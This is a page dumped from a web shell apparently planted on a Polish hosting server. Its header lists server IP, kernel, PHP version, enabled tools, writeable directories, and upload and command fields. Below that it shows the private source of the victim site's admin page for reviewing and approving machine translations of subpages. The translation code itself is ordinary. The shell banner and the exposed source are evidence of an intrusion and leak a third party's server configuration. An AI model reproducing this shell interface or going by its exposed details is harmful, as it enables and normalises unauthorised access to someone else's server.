403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v12-podstrony.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_v12_pages.php';
require_once dirname(__DIR__).'/includes/polana_v14_names.php';
$error='';
try{
 p12_schema();
 $page=(string)($_GET['path']??'/');if(!array_key_exists($page,p12_paths()))$page='/';
 $lang=(string)($_GET['lang']??'en');if(!in_array($lang,['en','de','es'],true))$lang='en';
 $filter=(string)($_GET['status']??'review');
 if(!in_array($filter,['review','pending','approved','all'],true))$filter='review';
 $sql="SELECT id,path,lang,source_text,translated_text,status,error_text FROM polana_v12_page_phrases WHERE path=? AND lang=?";
 if($filter!=='all')$sql.=" AND status='".$filter."'";
 $sql.=' ORDER BY id DESC LIMIT 300';
 $stmt=db()->prepare($sql);$stmt->execute([$page,$lang]);$rows=$stmt->fetchAll(PDO::FETCH_ASSOC);
 $stat=p12_counts();
}catch(Throwable $e){$error=$e->getMessage();$rows=[];$stat=['pending'=>0,'review'=>0,'approved'=>0,'errors'=>0];$page='/';$lang='en';$filter='review';}
$p13BlogSample='';
try{
 $q=db()->query("SELECT slug FROM blog_posts WHERE status='published' AND publish_at<=NOW() AND publish_at IS NOT NULL ORDER BY id DESC LIMIT 1");
 $slug=(string)$q->fetchColumn();
 if(preg_match('/^[a-z0-9-]+$/',$slug))$p13BlogSample='/blog/'.$slug;
}catch(Throwable $e){error_log('Polana V13 blog sample: '.$e->getMessage());}
render_admin_header('V12 — Tłumaczenia podstron');
?>
<style>
.v12-wrap{max-width:1320px;margin:24px auto;padding:18px}.v12-card{background:#fff;border:1px solid #ddd;border-radius:12px;padding:16px;margin:12px 0;color:#222}.v12-toolbar{display:flex;flex-wrap:wrap;gap:12px;align-items:center}.v12-toolbar a{padding:7px 10px;border:1px solid #ddd;border-radius:6px}.v12-wrap button{padding:10px 16px;border:0;border-radius:7px;background:#263d25;color:#fff;cursor:pointer}.v12-wrap button:disabled{opacity:.45}.v12-wrap input[type=checkbox]{width:20px;height:20px}.v12-wrap textarea{width:100%;min-height:70px;background:#fafafa;border:1px solid #ddd;padding:10px;border-radius:8px}.v12-scan{display:grid;grid-template-columns:repeat(auto-fit,minmax(190px,1fr));gap:8px}.v12-scan label{border:1px solid #ddd;border-radius:7px;padding:8px;background:#fff}.v12-stat{padding:10px;background:#edf1e9;border-radius:8px;margin:10px 0}.v12-top{position:sticky;top:0;z-index:5;background:#fff;padding:10px;border:1px solid #ddd;border-radius:9px}.v12-sub{color:#59645b;font-size:13px}
</style>
<main class="v12-wrap">
<h1>Polana — automatyczne tłumaczenia podstron</h1>
<p><a href="/admin/polana-v14-slownik.php">Słownik nazw własnych i ulic →</a></p>
<p>Otwieramy strony PL, wykrywamy widoczny tekst, wysyłamy brakujące frazy do Synology (EN/DE/ES), sprawdzamy i zbiorczo zatwierdzamy. Wszystko dzieje się po stronie PHP — zagraniczny gość otrzymuje gotowy HTML.</p>
<?php if($error): ?><p class="v12-card" style="color:#a22"><?=e($error)?></p><?php endif; ?>
<section class="v12-card">
<h2>1. Zeskanuj podstrony</h2>
<p class="v12-sub">Skanowanie nie tłumaczy blogów i pozycji menu — to istniejące moduły V9. Zaznacz podstrony, które mają zostać sprawdzone.</p>
<div class="v12-scan">
<?php foreach(p12_paths() as $path=>$name): ?><label><input type="checkbox" class="p12-scan-check" value="<?=e($path)?>" checked> <?=e($name)?></label><?php endforeach; ?>
</div>
<p><button id="p12-scan-btn" type="button">Skanuj i tłumacz wybrane podstrony</button></p>
</section>
<section class="v12-card">
<h2>2. Przetłumacz wszystko (karta pozostaje otwarta)</h2>
<div id="p12-stats" class="v12-stat">Oczekujące: <?= (int)$stat['pending'] ?> · Do zatwierdzenia: <?= (int)$stat['review'] ?> · Zatwierdzone: <?= (int)$stat['approved'] ?> · Błędy: <?= (int)$stat['errors'] ?></div>
<div class="v12-toolbar"><button id="p12-start" type="button">▶ Przetłumacz wszystko</button><button id="p12-stop" type="button" style="background:#777">■ Zatrzymaj</button></div>
<p id="p12-progress" class="v12-sub" role="status" aria-live="polite">Gotowe do uruchomienia.</p>
</section>
<section class="v12-card">
<h2>3. Sprawdź i zatwierdź</h2>
<form method="get" class="v12-toolbar" style="margin-bottom:14px">
<label>Podstrona <select name="path" onchange="this.form.submit()">
<?php foreach(p12_paths() as $path=>$name): ?><option value="<?=e($path)?>" <?= $page===$path?'selected':'' ?>><?=e($name)?></option><?php endforeach; ?>
</select></label>
<label>Język <select name="lang" onchange="this.form.submit()">
<?php foreach(['en'=>'Angielski','de'=>'Niemiecki','es'=>'Hiszpański'] as $v=>$n): ?><option value="<?=$v?>" <?=$lang===$v?'selected':''?>><?=$n?></option><?php endforeach; ?>
</select></label>
<label>Status <select name="status" onchange="this.form.submit()">
<?php foreach(['review'=>'Do akceptacji','pending'=>'W kolejce','approved'=>'Zatwierdzone','all'=>'Wszystkie'] as $v=>$n): ?><option value="<?=$v?>" <?=$filter===$v?'selected':''?>><?=$n?></option><?php endforeach; ?>
</select></label>
<a href="<?=e(function_exists('p11_path')?p11_path($page,$lang):'/'.$lang.$page)?>" target="_blank" rel="noopener">Otwórz podstronę <?=$lang?> ↗</a>
<a href="/admin/polana-v11-podstrony.php">Gotowość SEO V11 ↗</a>
</form>
<div class="v12-top v12-toolbar"><label><input type="checkbox" id="p12-all"> Zaznacz wszystkie gotowe (na tej stronie)</label> <span id="p12-picked">0 wybranych</span> <button id="p12-approve" type="button">Zatwierdź wybrane</button></div>
<?php if(!$rows): ?><p>Brak wyników dla tego filtra. Uruchom skanowanie lub tłumaczenie.</p><?php endif; ?>
<?php foreach($rows as $r): ?>
<div class="v12-card" style="border-left:3px solid #82aa34" data-id="<?= (int)$r['id'] ?>">
 <div class="v12-toolbar"><label><?php if($r['status']==='review'): ?><input type="checkbox" class="p12-pick" value="<?= (int)$r['id'] ?>"><?php endif; ?> <b>№ <?= (int)$r['id'] ?> · <?= e(strtoupper($r['lang'])) ?></b> · <?=e($r['status'])?></label></div>
 <p><b>PL</b> — <?=nl2br(e($r['source_text']))?></p>
 <?php if($r['translated_text']!==null): ?>
 <label><b><?=e(strtoupper($r['lang']))?></b> — można poprawić przed akceptacją<textarea class="p12-translation"><?=e($r['translated_text'])?></textarea></label>
 <?php $missing=p14_missing_terms((string)$r['source_text'],(string)$r['translated_text']);if($missing):?><p style="color:#aa5800">Uwaga, brak chronionej nazwy: <?=e(implode(', ',$missing))?>. Możesz poprawić tekst lub przetłumaczyć ponownie.</p><?php endif; ?>
 <button class="p12-save" type="button">Zapisz korektę</button>
 <?php if($r['status']==='review'):?><button class="p12-retry" type="button">Przetłumacz ponownie z ochroną nazw</button><?php endif; ?>
 <?php endif; ?>
 <?php if($r['error_text']): ?><p style="color:#b33"><?=e($r['error_text'])?></p><?php endif; ?>
 <?php if($r['status']==='pending'): ?><button class="p12-retry" type="button">Ponów</button><?php endif; ?>
</div>
<?php endforeach; ?>
</section>
<p class="v12-sub">Zatwierdzone teksty są podmieniane na serwerze. Weryfikację kompletności i gotowości do indeksowania ustawiasz osobno w V11. Polskie treści, menu i harmonogram bloga pozostają bez zmian.</p>
</main>
<script>
(()=>{'use strict';
const csrf=<?=json_encode(csrf_token())?>,postUrl='/admin/polana-v12-api.php',blogSample=<?=json_encode($p13BlogSample)?>;
const msg=document.getElementById('p12-progress'), stats=document.getElementById('p12-stats');
let running=false;
async function api(action, extra={}){
 const body=new FormData();body.append('csrf_token',csrf);body.append('action',action);
 for(const [k,v] of Object.entries(extra)){if(Array.isArray(v))v.forEach(x=>body.append(k+'[]',x));else body.append(k,String(v));}
 const resp=await fetch(postUrl,{method:'POST',body,credentials:'same-origin',cache:'no-store'});
 const json=await resp.json();if(!resp.ok||!json.ok)throw Error(json.error||('HTTP '+resp.status));return json;
}
function draw(c){if(c)stats.textContent=`Oczekujące: ${c.pending} · Do zatwierdzenia: ${c.review} · Zatwierdzone: ${c.approved} · Błędy: ${c.errors}`;}
document.getElementById('p12-scan-btn').onclick=async()=>{
 const selected=[...document.querySelectorAll('.p12-scan-check:checked')].map(x=>x.value),btn=document.getElementById('p12-scan-btn');
 if(!selected.length)return alert('Zaznacz podstrony.');btn.disabled=true;
 try{for(let i=0;i<selected.length;i++){
  const path=selected[i],realPath=path==='/blog-post'?blogSample:path;
  if(!realPath){msg.textContent='Brak opublikowanego artykułu bloga do skanowania wzorca.';continue;}
  const url=realPath+(realPath.includes('?')?'&':'?')+'p12_scan='+encodeURIComponent(csrf);
  msg.textContent=`Skanowanie ${i+1}/${selected.length}: ${path}`;
  const r=await fetch(url,{credentials:'same-origin',cache:'no-store',redirect:'follow'});
  if(!r.ok||r.url.includes('/admin/login'))throw Error('Nie udało się otworzyć '+path+' (HTTP '+r.status+')');
  await r.text();
 }
 draw((await api('status')).counts);msg.textContent='Skanowanie zakończone. Uruchamiam automatyczne tłumaczenia…';document.getElementById('p12-start').click();
 }catch(e){msg.textContent='Błąd skanowania: '+e.message;}finally{btn.disabled=false;}
};
document.getElementById('p12-start').onclick=async()=>{
 if(running)return;running=true;let n=0,errors=0;msg.textContent='Uruchamiam…';
 while(running){try{
  const r=await api('translate');draw(r.counts);if(r.busy){await new Promise(ok=>setTimeout(ok,1700));continue;}
  if(r.batch){n+=r.batch.translated;errors+=r.batch.errors;}
  msg.textContent=`Przetłumaczono w tej sesji: ${n}; błędy prób: ${errors}; oczekujące: ${r.counts.pending}`;
  if(r.counts.pending===0||r.batch?.attempted===0)break;
 }catch(e){msg.textContent='Zatrzymano z błędem: '+e.message;break;}
 await new Promise(ok=>setTimeout(ok,700));
 }
 running=false;msg.textContent+=' — zatrzymano. Odśwież listę, aby zatwierdzić.';
};
document.getElementById('p12-stop').onclick=()=>{running=false;msg.textContent='Kończę aktualne żądanie…';};
const picks=[...document.querySelectorAll('.p12-pick')],all=document.getElementById('p12-all');
function count(){const n=picks.filter(x=>x.checked).length;document.getElementById('p12-picked').textContent=n+' wybranych';all.checked=n===picks.length&&n>0;all.indeterminate=n>0&&n<picks.length;}
all.onchange=()=>{picks.forEach(x=>x.checked=all.checked);count();};picks.forEach(x=>x.onchange=count);
document.getElementById('p12-approve').onclick=async()=>{
 const ids=picks.filter(x=>x.checked).map(x=>x.value);if(!ids.length)return alert('Wybierz gotowe tłumaczenia.');
 if(!confirm('Zapisać korekty i zatwierdzić '+ids.length+' tłumaczeń?'))return;
 try{
  for(const id of ids){const card=document.querySelector('[data-id="'+id+'"]');const area=card?.querySelector('.p12-translation');
   if(area&&area.value!==area.defaultValue){await api('save_translation',{id,text:area.value});area.defaultValue=area.value;}
  }
  const r=await api('approve',{ids});draw(r.counts);alert('Zatwierdzono '+r.approved+'; błędy '+r.failed.length);location.reload();}catch(e){alert(e.message);}
};
document.querySelectorAll('.p12-save').forEach(btn=>btn.onclick=async()=>{
 const card=btn.closest('[data-id]');try{await api('save_translation',{id:card.dataset.id,text:card.querySelector('textarea').value});card.querySelector('textarea').defaultValue=card.querySelector('textarea').value;btn.textContent='Zapisano';}catch(e){alert(e.message);}
});
document.querySelectorAll('.p12-retry').forEach(btn=>btn.onclick=async()=>{
 try{await api('retry',{id:btn.closest('[data-id]').dataset.id});location.reload();}catch(e){alert(e.message);}
});
})();
</script>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit